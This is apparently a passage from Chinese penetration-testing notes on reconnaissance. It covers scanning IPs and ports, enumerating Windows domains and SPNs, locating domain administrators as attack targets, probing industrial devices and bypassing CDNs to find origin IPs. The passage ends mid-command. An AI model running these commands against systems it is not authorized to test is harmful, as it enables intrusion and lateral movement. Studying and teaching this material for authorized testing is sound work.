[LangziFun/LangNetworkTopology3](https://github.com/LangziFun/LangNetworkTopology3) - IP/IP 段资产扫描 --> 扫描开放端口识别运行服务部署网站 --> 自动化整理扫描结果 --> 输出可视化报表 + 整理结果 - 本质还是调用 masscan + 生成报表 实际使用效果不佳 - [Router Scan](http://stascorp.com/load/1-1-0-56) - 路由器扫描软件, 但扫 C 段也很有用 - [dilap54/RouterScan-console](https://github.com/dilap54/RouterScan-console) - Router Scan 命令行版 - [TophantTechnology/ARL](https://github.com/TophantTechnology/ARL) - ARL 资产侦察灯塔系统旨在快速侦察与目标关联的互联网资产,构建基础资产信息库。 协助甲方安全团队或者渗透测试人员有效侦察和检索资产,发现存在的薄弱点和攻击面。 - [loecho-sec/ARL-Finger-ADD](https://github.com/loecho-sec/ARL-Finger-ADD) - 灯塔指纹添加脚本 - [er10yi/MagiCude](https://github.com/er10yi/MagiCude) - 分布式端口(漏洞)扫描、资产安全管理、实时威胁监控与通知、高效漏洞闭环、漏洞 wiki、邮件报告通知、poc 框架 - [shadow1ng/fscan](https://github.com/shadow1ng/fscan) - 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息、web漏洞扫描等。 --- ### IP扫描 当设备连接网络,设备将被分配一个 IP 地址,用作标识。通过 IP 地址,设备间可以互相通讯,如果没有 IP 地址,我们将无法知道哪个设备是发送方,无法知道哪个是接收方。IP 地址有两个主要功能:标识设备或网络和寻址。 常见的 IP 位址分为 IPv4 与 IPv6 两大类,IP 地址由一串数字组成。IPv4 由十进制数字组成,并以点分隔,如:172.16.254.1 ;IPv6 由十六进制数字组成,以冒号分割,如:2001:db8:0:1234:0:567:8:1 **CIDR处理** - [projectdiscovery/mapcidr](https://github.com/projectdiscovery/mapcidr) - Small utility program to perform multiple operations for a given subnet/CIDR ranges. - [zhanhb/cidr-merger](https://github.com/zhanhb/cidr-merger) - A simple command line tool to merge ip/ip cidr/ip range, support IPv4/IPv6 - [ffffffff0x/iprange](https://github.com/ffffffff0x/iprange) - 计算 ip 范围,支持 cidr,ip-range 格式的输入 **ip信息查询** - [zu1k/nali](https://github.com/zu1k/nali) - [lionsoul2014/ip2region](https://github.com/lionsoul2014/ip2region) - 一个离线IP地址定位库和IP定位数据管理框架 #### ipv4 IPv4 地址是类似 `A.B.C.D` 的格式, 它是 32 位, 用 `.` 分成四段, 用 10 进制表示; 而 IPv6 地址类似 `X:X:X:X:X:X:X:X` 的格式, 它是 128 位的, 用 `:` 分成 8 段, 用 16 进制表示; **本地单行命令探测** ```bash # windows for /l %i in (1,1,255) do @ ping 192.168.1.%i -w 1 -n 1 | find /i "ttl=" # windows # 把前期在外网搜集到的目标子域列表整理好,拿到内网循环ping,然后把解析到的ip截下来 for /f "delims=" %i in (host.txt) do @ping -w 1 -n 1 %i | findstr /c:"[10." /c:"[192." /c:"[172." >> C:/users/public/out.txt ``` **探测工具** - [alexxy/netdiscover: netdiscover](https://github.com/alexxy/netdiscover) - 内网中实测效果不好,不建议使用 - [nbtscan - NETBIOS nameserver scanner](http://unixwiz.net/tools/nbtscan.html) - 内网中实测效果不好 - nmap ``` nmap -sP <网段>/24 ``` - [shmilylty/netspy](https://github.com/shmilylty/netspy) - netspy是一款快速探测内网可达网段工具 ```bash netspy -h # 查看帮助信息 netspy icmpspy # 使用icmpspy模块进行探测 netspy arpspy -i eth0 # 指定使用eth0网络接口进行arp协议探测 netspy tcpspy -p 22 -p 3389 # 使用tcpspy模块进行探测 netspy udpspy -p 53 -p 137 # 使用udpspy模块进行探测 ``` - fscan #### ipv6 **相关文章** - [Who’s Scanning the IPv6 Space? And, Frankly, Why Do We Even Care?](https://www.akamai.com/blog/security-research/vulnerability-scanning-IPv6-why-should-we-care) #### asn **相关工具** - [projectdiscovery/asnmap](https://github.com/projectdiscovery/asnmap) --- ### MAC扫描 MAC 位址,以太网地址或物理地址,它是一个用来确认网络设备位置的位址。 MAC 地址的长度为 48 位 (6 个字节),通常表示为 12 个 16 进制数,如:00-16-EA-AE-3C-40 就是一个 MAC 地址,其中前 6 位 16 进制数 00-16-EA 代表网络硬件制造商的编号,它由 IEEE(电气与电子工程师协会) 分配,而后 6 位 16 进制数 AE-3C-40 代表该制造商所制造的某个网络产品 (如网卡) 的系列号。只要不更改自己的 MAC 地址,MAC 地址在世界是惟一的。形象地说,MAC 地址就如同身份证上的身份证号码,具有唯一性. **探测工具** - [科来 MAC 地址扫描器](http://www.colasoft.com.cn/download/capsa_tool_cmac.php) - arp-scan ``` arp-scan -l ``` --- ### 端口扫描 通过对目标地址的 TCP/UDP 端口扫描,确定其开放的服务数量和类型。通过端口扫描,可以基本确定一个系统的基本信息,并且结合测试人员的经验可以确定其可能存在,以及被利用的安全弱点,为进行深层次的渗透提供依据. **相关文章** - [Port Scanner Shootout](https://s0cm0nkey.gitbook.io/port-scanner-shootout/) - [Nmap抓包分析与绕过Windows防火墙扫内网存活主机](https://mp.weixin.qq.com/s/bfmp3oDxqPf1pTjtyKaLSw) - [征文投稿|安全能力基座Yakit,端口扫描又快又准!](https://mp.weixin.qq.com/s/ZO9hyPsE_ZzQF1C3Fezy7A) **Tips** 1. 有时候扫描主机会碰到显示大量开放端口, 这种可能都是虚的, 是 waf 在起作用. 2. nmap 在有些场景下不一定能把所有开放端口扫出, 这时候换一个工具说不定有奇效. **LOL** ```bash # Linux scanning the 65535 ports for port in {1..65535};do curl -s http://host:$port;done for port in {1..65535};do wget -nv http://host:$port;done # Linux scanning the 65535 ports with raw http request for port in {1..65535}; do echo >/dev/tcp/host/$port && echo "port $port is open" || echo "port $port is closed" done # Linux scanning ports curl http://host:[1-100] 1> 1.txt 2>/dev/null curl http://host:[8000-9999] 1>> 1.txt 2>/dev/null ``` **端口安全** - [端口安全](./端口安全.md) - 记录一些端口渗透时的方法和思路 **端口信息** - [Service Name and Transport Protocol Port Number Registry](https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml) 服务器端口的分类 - 公认端口/特权端口 : 0~1023,它们绑定特定的服务,端口的通信明确表明了某种服务的协议。例如:80端口是HTTP服务端口。 - 注册端口 : 1024~49151,它们松散地绑定一些服务,就是说有许多服务绑定于这些端口,这些端口同样用于许多其它的目的 - 动态/私有端口 : 49152~65535,这些端口一般不分配服务,有些较为特殊的程序,特别是木马程序非常喜欢使用这些端口,容易隐蔽。 当然,现实环境中什么端口都有可能承载正常的服务,就比如有人在 8 端口上承载网站 **扫描工具** - nmap - [nmap 笔记](../../安全工具/Nmap.md) - [masscan](https://github.com/robertdavidgraham/masscan) ```bash # 常用 masscan 127.0.0.0/24 -p80,161,443,873,2181,3389,6379,7001,8000,8009,8080,9000,9009,9090,9200,9300,10000,50070 > results.txt # 远程登录 masscan 127.0.0.0/24 -p22,23,3389,5632,5800,5900,5901 > results.txt # 文件服务 masscan 127.0.0.0/24 -p20,21,445,873,2049 > results.txt # 数据库 masscan 127.0.0.0/24 -p1433,1521,3306,4100,5000,5432,5984,6379,11211,27017,27018 > results.txt # 单端口扫描 masscan 127.0.0.0/24 -p443 # 多端口扫描 扫描 80 或 443 端口的 B 类子网 masscan 127.0.0.0/24 -p80,443 # 扫描一系列端口 扫描 22 到 25 端口的 B 类子网 masscan 127.0.0.0/24 -p22-25 # 快速扫描 masscan 127.0.0.0/24 -p80,8000-9000 --rate 100000 # 排除目标 masscan 127.0.0.0/24 -p80,8000-9000 --excludefile exclude.txt # 结果保存 masscan 127.0.0.0/24 -p80,8000-9000 > results.txt ``` - msf ```bash set scanner/portscan/tcp set rhosts <ip/CIDR> set ports <port> set THREADS <s> set TIMEOUT <s> run ``` - [gnebbia/halive](https://github.com/gnebbia/halive) - 快速对 URL 探活,可以配合端口扫描工具批量检测. - [hdm/nextnet](https://github.com/hdm/nextnet) - 通过扫描 137 端口获得目标路由信息用于扩大网络拓扑的探测 - [hellogoldsnakeman/masnmapscan-V1.0](https://github.com/hellogoldsnakeman/masnmapscan-V1.0) - 一款端口扫描器。整合了 masscan 和 nmap 两款扫描器. - 实际使用效果一般 - [RustScan/RustScan](https://github.com/RustScan/RustScan) -rust 写的用于代替 nmap 的端口扫描器 - 不是很推荐 - [projectdiscovery/naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests - naabu 是非常好用的扫描器,只不过需要调整使用的参数,默认使用效果并不很好,个人建议是,rate 4000,retries 3,运行多次来扫描不同端口,这样结果又快又准 - [L-codes/MX1014](https://github.com/L-codes/MX1014) - 灵活、轻便和快速端口扫描器 - [redtoolskobe/scaninfo](https://github.com/redtoolskobe/scaninfo) - [zyylhn/zscan](https://github.com/zyylhn/zscan) **第三方** - https://internetdb.shodan.io/ --- ### 域信息 **相关文章** - [域渗透-域内信息收集](https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%9F%9F%E5%86%85%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86.html) - [浅谈内网信息收集之定位域管理员](https://www.cnblogs.com/lcxblogs/p/13992793.html) - [内网基础-定位域管理员](https://harvey.plus/2021/03/18/%E5%86%85%E7%BD%91%E5%9F%BA%E7%A1%80-%E5%AE%9A%E4%BD%8D%E5%9F%9F%E7%AE%A1%E7%90%86%E5%91%98/) - [内网渗透之域内信息收集](https://cloud.tencent.com/developer/article/1885721) - [内网信息收集二](https://pingmaoer.github.io/2020/03/31/%E5%86%85%E7%BD%91%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%BA%8C/) **域信息收集相关工具/脚本** - [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) - [BloodHound](https://github.com/BloodHoundAD/BloodHound) - 域环境分析工具 - 参考文章 : [域渗透分析工具BloodHound 1.5.2入门实战](https://www.freebuf.com/sectool/179002.html) - [impacket](https://github.com/SecureAuthCorp/impacket) - 一个网络协议工具包 ```bash git clone https://github.com/CoreSecurity/impacket.git cd impacket/ python setup.py install cd impacket/examples ``` - Ping.py 一个简单的 ICMP ping 脚本,使用 ICMP echo 和 echo-reply 数据包检查主机状态。 ``` ./ping.py [Source IP] [Destination IP] ``` - Lookupsid.py 通过 [MS-LSAT] MSRPC 接口的 Windows SID bruteforcer 示例,旨在查找远程用户/组。 ``` ./lookupsid.py test/Administrator:Abcd1234@192.168.1.100 ``` - Rpcdump.py 该脚本将转储在目标上注册的 RPC 端点和字符串 bindings 列表。它也会尝试将它们与一些知名的端点进行匹配。 ``` ./rpcdump.py test/Administrator:Abcd1234@192.168.1.100 ``` - Samrdump.py 与 MSRPC 套件中的安全帐户管理器远程接口通信的应用程序。它将为我们列出目标系统上的用户帐户,可用资源共享以及通过此服务导出的其他敏感信息 ``` ./samrdump.py test/Administrator:Abcd1234@192.168.1.100 ``` - Wmiquery.py 它允许发出 WQL 查询并获取目标系统 WMI 对象的描述信息。 ``` ./wmiquery.py test/Administrator:Abcd1234@192.168.1.100 ``` - getArch.py 该脚本将连接目标(或目标列表上的)计算机,并使用已记录的 MSRPC 特征收集由(ab)安装的操作系统架构类型。 ``` ./getArch.py -target 192.168.1.100 ``` - [shadow1ng/fscan](https://github.com/shadow1ng/fscan) - 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息、web漏洞扫描等。 - [shmilylty/SharpHostInfo](https://github.com/shmilylty/SharpHostInfo) - SharpHostInfo是一款快速探测内网主机信息工具 - [lzzbb/Adinfo](https://github.com/lzzbb/Adinfo) - 域信息收集工具 --- #### 域环境 **查询所有域主机名** ``` dsquery computer ``` **查看所有域** ``` net view /domain ``` **查看域中的用户名** ``` net user /domain dsquery user ``` **获取域内用户详细信息** ``` wmic useraccount get /all ``` **查询域内所有用户组列表** ``` net group /domain ``` **查看域密码策略信息** ``` net accounts /domain ``` **获取域信任信息** ``` nltest /domian_trusts ``` **查询域联系人** ``` dsquery contact ``` **查询域中所有的组** ``` dsquery group ``` **查询域中所有的组织单元** ``` dsquery ou ``` **查询域中所有的站点** ``` dsquery site ``` **查询指定域主机名** ``` dsquery computer -name win* -desc desktop -limit 0 ``` **查询 n 周未活动的域主机名** ``` dsquery computer -inactive n -limit 0 ``` **查询 n 天内未更改密码的域主机名** ``` dsquery computer -stalepwd n ``` **查询指定域的域主机名** ``` dsquery computer -s ip -u username -p password -limit 0 ``` **查询域中的配额规范** ``` dsquery quota ``` **查询域中的分区对象** ``` dsquery partition ``` **查看域时间** ``` net time /domain ``` ##### SPN扫描 SPN 扫描的主要好处是,SPN 扫描不需要连接到网络上的每个 IP 来检查服务端口, SPN 通过 LDAP 查询向域控执行服务发现,spn 查询是 kerberos 票据行为一部分,域内的主机都能查询 SPN,因此比较难检测 SPN 扫描。所以在域内不用做端口扫描也可以隐蔽地探测域内的服务。当利用 SPN 扫描找到域管登录过的系统,对渗透权限扩展有很大的帮助。 **相关文章** - [Locate and Attack Domain SQL Servers without Scanning](https://blog.netspi.com/locate-and-attack-domain-sql-servers-without-scanning/) - 通过 SPN 扫描域内 MSSQL 服务 - [SPN Scanning - Service Discovery without Network Port Scanning](https://adsecurity.org/?p=1508) **spn 介绍** - [spn](../../../Integrated/Windows/笔记/认证.md#spn) **一些注意的服务** - AGPMServer:通常具有所有 GPO 的完全控制权。 - MSSQL/MSSQLSvc:具有管理员权限的 SQL 服务器通常会有一些有趣的数据。 - FIMService:通常对多个 AD 林具有管理权限。 - STS:VMWare SSO 服务,可以提供访问 VMWare 的后门。 对于 RC4 加密的使用 tgsrepcrack 解密 对于 AES 加密的使用 Kirbi2john 转换为 hash,通过 hashcat 爆破 **SPN 扫描相关工具** - **setspn** setspn 是 Windows 内置工具,可以检索用户账户和服务之间的映射,此工具可以添加、删除、查看 SPN 的注册情况。 为账户 test.com/dbadmin 注册 SPNMSSQLSvc/SqlServer.test.com: ``` setspn -A MSSQLSvc/SqlServer.test.com dbadmin # 删除指定 SPN setspn -D MSSQLSvc/SqlServer.test.com dbadmin ``` 查看 SPN: ```bash # 查看当前域内的所有 SPN setspn -q */* # 查看 test 域内的所有 SPN setspn -T test -q */* # 查看 dbadmin 账户的 SPN setspn -L dbadmin ``` 以 CN 开头的每一行代表一个账户,紧跟下面的信息是与该账户有关的 SPN。 - **GetUserSPNs** - https://github.com/nidem/kerberoast ``` .\GetUserSPNs.ps1 cscript.exe GetUserSPNs.vbs 利用 GetUserSPNs.vbs 进行 SPN 信息查询 ``` - **PowerView** - https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon ```powershell PS C:\Users\Administrator\Desktop\Recon> Import-Module .\PowerView.ps1 PS C:\Users\Administrator\Desktop\Recon> Get-NetUser -SPN ``` - **Powershell AD Recon** - https://github.com/PyroTek3/PowerShell-AD-Recon ```powershell //如查看MSSQL(其他的同理): //导入脚本 Import-Module .\Discover-PSMSSQLServers.ps1 //查找MSSQL所有实例 Discover-PSMSSQLServers ``` - **PowerShellery** - https://github.com/nullbind/Powershellery ```powershell PS C:\Users\dbadmin\Desktop\Get-SPN> Import-Module .\Get-SPN.psm1 PS C:\Users\dbadmin\Desktop\Get-SPN> Get-SPN -type service -search "*" //查找所有的SPN服务 Get-SPN -type service -search "*" -List yes | Format-Table //查找MSSQL服务 Get-SPN -type service -search "MSSQLSvc*" -List yes //若在一个非域系统上,可以使用以下命令执行 Get-SPN -type service -search "*" -List yes -DomainController 域控IP -Credential domainuser| Format-Table -Autosize ``` - **RiskySPN** - https://github.com/cyberark/RiskySPN ```powershell Import-Module .\RiskySPNs.psm1 Find-PotentiallyCrackableAccounts ``` - **Adfind** - http://www.joeware.net/freetools/tools/adfind/ ``` Adfind -f "ServicePrincipalName=MSSQLSvc*" Adfind -h 域控地址 -sc spn:* ``` --- #### 域控 **查询域管理员用户** ``` net group "Domain Admins" /domain ``` **查找域控** ```bash ping test.com # ping 域名,解析到域控服务器IP地址 net time /domain # 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名 nltest /DCLIST:test.com # 查看域控制器机器名 net group "Domain Controllers" /domain # 查看域控制器组,因为可能有不止一台域控,有主备之分 nslookup -type=all _ldap._tcp.dc._msdcs.test.com # 若当前主机的dns为域内dns,可通过查询dns解析记录定位域控。 dsquery server ``` - BloodHound - 端口探测 通过端口探测方式定位域控, 扫描内网中同时开放 389,636 与 53 的机器,389 默认是 LDAP 协议端口,636 端口是 LDAPS,53 端口默认是 DNS 端口,主要用于域名解析,通过 DNS 服务器可以实现域名与 ip 地址之间转换,他们都是域控机器开放的端口。 - SPN 扫描定位 由于 SPN 本身就是正常的 kerberos 请求,所以扫描隐蔽,它不同于 TCP 与 UDP 常规端口扫描。大部分 windows 已经自带 setspn.exe,且此操作无需管理权限。 ``` setspn -T test.com -Q / ``` 在扫描出的结果中就可以根据 CN=AD-SERVER,OU=Domain Controllers,DC=test,DC=com 来进行域控的定位。此时已经查询出域控机器。 **定位域管理员** - 为什么要定位域管理员 在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限。也就是说,当计算机被添加到域中,成为域的成员主机时,系统会自动将域管理员组添加到本地系统管理员组中。因此,域管理员组的成员均可访问本地计算机,且具备完全控制权限。 定位,查看有哪些账号登录了哪些机器,如果我们可以找到域管理员登录了哪些服务器,就可以通过攻击这些服务器并进行尝试利用,以获得域管理员权限。 定位域管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,可以使用脚本或wevtutil工具导出并查看。会话是指域内每台机器的登陆会话,可以使用netsess.exe或powerview等工具查询 - [psloggedon.exe](https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon) - pstools 中自带, 其原理为检查注册表 HKey_USER 项的 key 来查询,会调用 NetSession api, 所以有些功能需要管理员权限。 ```bash # 此工具用于查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户 psloggedon.exe [-] [-l] [-x] [\\computername或username] # - 显示支持的选项和用于输出值的度量单位 # -l 仅显示本地登录,而不显示本地和网络资源登录 # -x 不显示登录时间 # \computername 指定要为其列出登录信息的计算机的名称 # username 指定用户名,在网络中搜索该用户登陆的计算机 # \\后面接的是域控机器名,看一下登录过域控的用户名 # \\接的是用户名,那就会搜索网上邻居的计算机,并显示当前用户是否已经登录 ``` - [PVEFindADUser.exe](https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn) - 查找域用户位置、某计算机上登录用户。运行需要计算机支持framework2.0 且以管理员权限运行 ```bash pvefinaduser.exe -current # #将获取域内所有计算机上当前登陆的所有用户, 结果保存到 report.csv 文件 # -last 将获取目标计算机的最后一个登陆用户 # -target 指定要查询的计算机。 # -current [“username”] -current 参数显示每台 PC 上当前登录的用户在域中。如果指定用户名(在引号之间),则仅将显示该特定用户登录的 PC # -noping 阻止尝试枚举用户登录名之前对目标计算机执行 ping 命令 ``` - [netview.exe](https://github.com/mubix/netview) - netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登录会话,利用 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登录的用户,netview.exe 还可以查询共享入口和有价值的用户。 ```bash netview.exe [参数] # -f filename.txt: 指定要提取主机列表的文件 # -e filename.txt: 指定要排除的主机名的文件 # -o filename.txt: 将所有输出重定向到指定的文件 # -d filename.txt: 指定要提取主机列表的域。如果没有指定,则从当前域中提取主机列表 # -g group: 指定搜索的组名。如果没有指定,则在 Domain Admins 组中搜索 # -c 对已找到的共享目录 / 文件的访问权限进行检查 ``` - [nmap 脚本](https://nmap.org/nsedoc/scripts/smb-enum-sessions.html) ``` smb-enum-domains.nse: 对域控制器进行信息收集,可以获取主机信息、用户、可使用密码策略的用户等 smb-enum-users.nse: 在进行域渗透时,如获取了域内某台主机权限,但权限有限,无法获取更多的域用户信息,可借助此脚本对域控制器进行扫描 smb-enum-shares.nse: 遍历远程主机的共享目录 smb-enum-processes.nse: 对主机的系统进程进行遍历,通过此信息,可知道目标主机运行着哪些软件 smb-enum-sessions.nse: 获取域内主机的用户登陆会话,查看当前是否有用户登陆 smb-enum-discovery.nse: 收集目标主机的操作系统、计算机名、域名、域林名称、NetBIOS 机器名、NetBIOS 域名、工作组、系统时间等信息 ``` - [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) ```powershell Set-ExecutionPolicy -ExecutionPolicy Bypass import-module .\Recon.psd1 # Invoke-UserHunter: 找到域内特定的用户群,接受用户名、用户了表和域组查询,接收一个主机列表或查询可用的主机域名。可以使用 Get-NetSession 和 Get-NetLoggedon(调用 NetSessionEnum 和 NetWkstaUserEnumAPI) 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,在使用时不需要管理员权限,在本地执行该脚本 # Invoke-StealthUserHunter: 只需要进行一次查询,就可以获取域里面的所有用户,使用方法为,从 user.HomeDirectories 中提取所有用户,并对没太服务器进行 Get-NetSession 获取。因不需要使用 Invoke-UserHunter 对没太机器进行操作,所以这个方法的隐蔽性相对较高(但涉及的机器不一定全面)。PowerView 默认使用 Invoke-StealthUserHunter 如果找不到需要的信息,就使用 Invoke-UserHunter Get-NetLocalGroupMember -ComputerName 主机名 -GroupName administrators # 指定远程计算机,指定枚举管理员组 ``` - [Netsess.exe](http://www.joeware.net/freetools/tools/netsess/index.htm) - 收集所有活动域的会话列表 - BloodHound --- ### 工控资产 **相关文章** - [工控资产嗅探与分析实践](https://www.freebuf.com/articles/ics-articles/209786.html) **相关工具** - nmap - [nmap工控探测脚本](../../安全工具/Nmap.md#工控探测) - [ISF](https://github.com/dark-lbp/isf) ```bash scanners/s7comm_scan # 选择 S7 扫描插件 scanners/vxworks_6_scan # 选择 vxworks 扫描插件 scanners/cip_scan # 选择 cip_scan 扫描插件 ``` - [plcscan](https://code.google.com/archive/p/plcscan/) - 通过 s7comm 或 modbus 协议扫描 PLC 设备的工具。 - msf ```bash use auxiliary/scanner/scada/modbusdetect ``` ### 网络层指纹 **相关工具** - nmap - [praetorian-inc/fingerprintx](https://github.com/praetorian-inc/fingerprintx) - Standalone utility for service discovery on open ports! ```bash go install github.com/praetorian-inc/fingerprintx/cmd/fingerprintx@latest fingerprintx -h fingerprintx -t praetorian.com:80 fingerprintx -l input-file.txt fingerprintx --json -t praetorian.com:80,127.0.0.1:8000 ``` - https://www.praetorian.com/blog/fingerprintx/ --- ## 网站 **教程/案例** - [web渗透第一步之信息搜集[子域,旁站,C段,AS号...]](https://klionsec.github.io/2014/12/12/subdomain-info-serarch/) - [WEB安全入门系列之信息收集](https://www.secpulse.com/archives/74312.html) - [【转】浅析前期信息收集方法](http://www.nifengi.com/2017/10/18/%e3%80%90%e8%bd%ac%e3%80%91%e6%b5%85%e6%9e%90%e5%89%8d%e6%9c%9f%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86%e6%96%b9%e6%b3%95/) - [[原创]安全攻城师系列文章-信息收集工具篇-『WEB安全』-看雪安全论坛](https://bbs.pediy.com/thread-217016.htm) - [渗透测试--01信息搜集](http://zjw.dropsec.xyz/%E6%B8%97%E9%80%8F/2017/08/03/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95-01%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86.html) - [”安全线“大型目标渗透](https://paper.tuisec.win/detail/ad2ddfc0965abe6) - [微服务渗透之信息搜集](https://xz.aliyun.com/t/7099) - [新时代的渗透思路!微服务下的信息搜集(II)](https://xz.aliyun.com/t/7252) - [攻防演练模式下的信息收集--Fofa工程师](https://mp.weixin.qq.com/s/vXJ7Tmr1-xlgE0AwB8RxAA) **资产扫描工具** - [smicallef/spiderfoot](https://github.com/smicallef/spiderfoot) - SpiderFoot 是一个 Python 编写的免费开源的网站信息收集类工具,并且支持跨平台运行,适用于 Linux、*BSD 和 Windows 系统。提供了 GUI 界面。可以获取网站子域、电子邮件地址、web 服务器版本等等信息。 - [broken5/WebAliveScan](https://github.com/broken5/WebAliveScan) - 对目标域名进行快速的存活扫描、简单的指纹识别、目录扫描 ```bash pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ python3 webscan.py --target target.txt --port 80 python3 webscan.py --target target.txt --port small python3 webscan.py --target target.txt --port large ``` - [projectdiscovery/httpx](https://github.com/projectdiscovery/httpx) - [tomnomnom/httprobe](https://github.com/tomnomnom/httprobe) **浏览器扩展** - [graynjo/Heimdallr](https://github.com/graynjo/Heimdallr) - 一款完全被动监听的谷歌插件,用于高危指纹识别、蜜罐特征告警和拦截、机器特征对抗 ### 真实IP 为什么要寻找真实 IP?,当某个企业使用了 CDN/云防线/反向代理等方式对服务进行架构设计时,我们通过 ping 命令等并不能直接将请求传递到真实的服务器上,而是经过一层设置对该请求进行转向,导致到我们不能获取到真实服务器的开放端口等信息进行收集。 **相关文章** - [绕过 CDN 查找网站真实 IP](https://xiaix.me/rao-guo-cdncha-zhao-wang-zhan-zhen-shi-ip/) - [绕过 cdn,查找真实 IP | 冰羽の博客](https://www.bingyublog.com/2018/03/25/%E7%BB%95%E8%BF%87cdn%EF%BC%8C%E6%9F%A5%E6%89%BE%E7%9C%9F%E5%AE%9EIP/) - [聊聊 CDN 的误区 - r34l!ty - 不负勇往](http://rinige.com/index.php/archives/772/) - [网站真实 IP 发现手段浅谈 - 安全客,安全资讯平台](https://www.anquanke.com/post/id/163348) - [如何寻找隐藏在 CloudFlare 或 TOR 背后的真实原始 IP - 嘶吼 RoarTalk](https://www.4hou.com/technology/13713.html) - [CloudFlair: Bypassing Cloudflare using Internet-wide scan data](https://blog.christophetd.fr/bypassing-cloudflare-using-internet-wide-scan-data/) - [Bypassing CDN WAF’s with Alternate Domain Routing](https://blog.ryanjarv.sh/2022/03/16/bypassing-wafs-with-alternate-domain-routing.html) - 通过 severless 服务绕过 cdn 的访问限制 - [CDN绕过技术总汇](https://www.freebuf.com/articles/web/332264.html) **相关工具** - [pielco11/fav-up](https://github.com/pielco11/fav-up) - 从 favicon 图标查真实 IP 的工具,需要 Shodan API(付费的) - [christophetd/CloudFlair](https://github.com/christophetd/cloudflair) - 通过使用 Censys 的数据查找真实 IP 的工具,需要 Censys API - [3xp10it/xcdn](https://github.com/3xp10it/xcdn) - 尝试找出 cdn 背后的真实 ip 的工具 - [greycatz/CloudUnflare](https://github.com/greycatz/CloudUnflare) - 用于绕过 Cloudflare 侦查真实 IP 地址. - [boy-hack/w8fuckcdn](https://github.com/boy-hack/w8fuckcdn) - 通过扫描全网绕过 CDN 获取网站 IP 地址,建议参考思路,不建议实战实用 **tips** - Nslookup `nslookup + 域名` - phpinfo - 利用邮件服务器找到真实 IP Web 跟 Email 服务属同服务器的情况下可以通过 Email 来查询目标真实 IP 地址,但如果 Web 跟 Email 属不同服务器,那么我们通过 Email 得到的可能只是邮件服务器的 IP 地址。 - 多地 ping 域名 利用在线网站服务多地 ping 测试 - [CDN Finder tool - CDN Planet](https://www.cdnplanet.com/tools/cdnfinder/) - [CDN检测](https://myssl.com/cdn_check.html) - [多个地点Ping服务器,网站测速 - 站长工具](http://ping.chinaz.com/) - [网站测速工具_超级ping _多地点ping检测 - 爱站网](https://ping.aizhan.com/) - [DNSMap](https://dnsmap.io/) - 检查来自世界各地的多个DNS名称服务器和解析器的域名或主机名的当前IP - [Ping.cn:网站测速-ping检测-dns查询-ipv6网站测试-路由跟踪查询](https://www.ping.cn/) - "常识"判断 在反查网站 ip 时,如果此网站有 1000 多个不同域名,那么这个 ip 多半不是真实 ip. 如果一个 asp 或者 asp.net 网站返回的头字段的 server 不是 IIS、而是 Nginx,那么多半是用了 nginx 反向代理,而不是真实 ip. 如果 ip 定位是在常见 cdn 服务商的服务器上,那么是真实 ip 的可能性就微乎其微了. - 子域名查找 利用一些在线查询的网站,例如 https://dnsdb.io/zh-cn/ 只需输入 baidu.com type:A 就能收集百度的子域名和 ip Google 搜索 Google site:baidu.com -www 就能查看除 www 外的子域名 总结:收集子域名后尝试以解析 ip 不在 CDN 上的 ip 解析主站,真实 ip 成功被获取到. - 历史 DNS 解析记录 > 上面下面这么多方法里,这个应该是成功率较高的了 通过查询历史的 DNS 解析 IP,有可能得到真实 IP - https://x.threatbook.cn/nodev4/vb4/list - https://viewdns.info/iphistory/ - https://securitytrails.com/ - SSL 证书 - [CloudFlair: Bypassing Cloudflare using Internet-wide scan data](https://blog.christophetd.fr/bypassing-cloudflare-using-internet-wide-scan-data/) - https://www.censys.io - 查询网站标题找到真实 IP 有提议通过遍历全球 IP 端口匹配标题来找源 IP 的方法,太不切实际了,与其这样不如直接到 shodan 搜索网站标题 Title,这样说不定还更快. - F5 LTM 解码法 当服务器使用 F5 LTM 做负载均衡时,通过对 set-cookie 关键字的解码真实 ip 也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即 487098378 取出来,然后将其转为十六进制数 1d08880a,接着从后至前,以此取四位数出来,也就是 0a.88.08.1d,最后依次把他们转为十进制数 10.136.8.29,也就是最后的真实 ip. 其实我就像问一句,你家祖传的 F5 设备不更新的吗? - DDOS 消耗 我看过不少文章将通过 DDOS 来消耗对方流量,只要把流量打光,就会回滚到原始 IP,还特别拿 cloudflare 举例,但是目前, cf 免费版就提供 ddos 无限量防护. --- ### 目录扫描 在渗透测试中,在对目标网站进行渗透时,对网站的下级目录进行目录扫描,用以发现目标网站是否存在 OA,网站后台,敏感目录或者任意文件下载等信息. **字典** 字典资源见 Power-PenTest [Web 字典](../../Power-PenTest.md#字典) 部分 **相关文章** - [熟练使用各类敏感目录文件扫描工具](https://klionsec.github.io/2014/12/16/dirscan-tools/) **目录扫描工具** - [ffuf/ffuf](https://github.com/ffuf/ffuf) - go 写的 web fuzz 工具,很好用,推荐 ```bash ffuf -c -mc 200,301,302,403 -t 50 -u 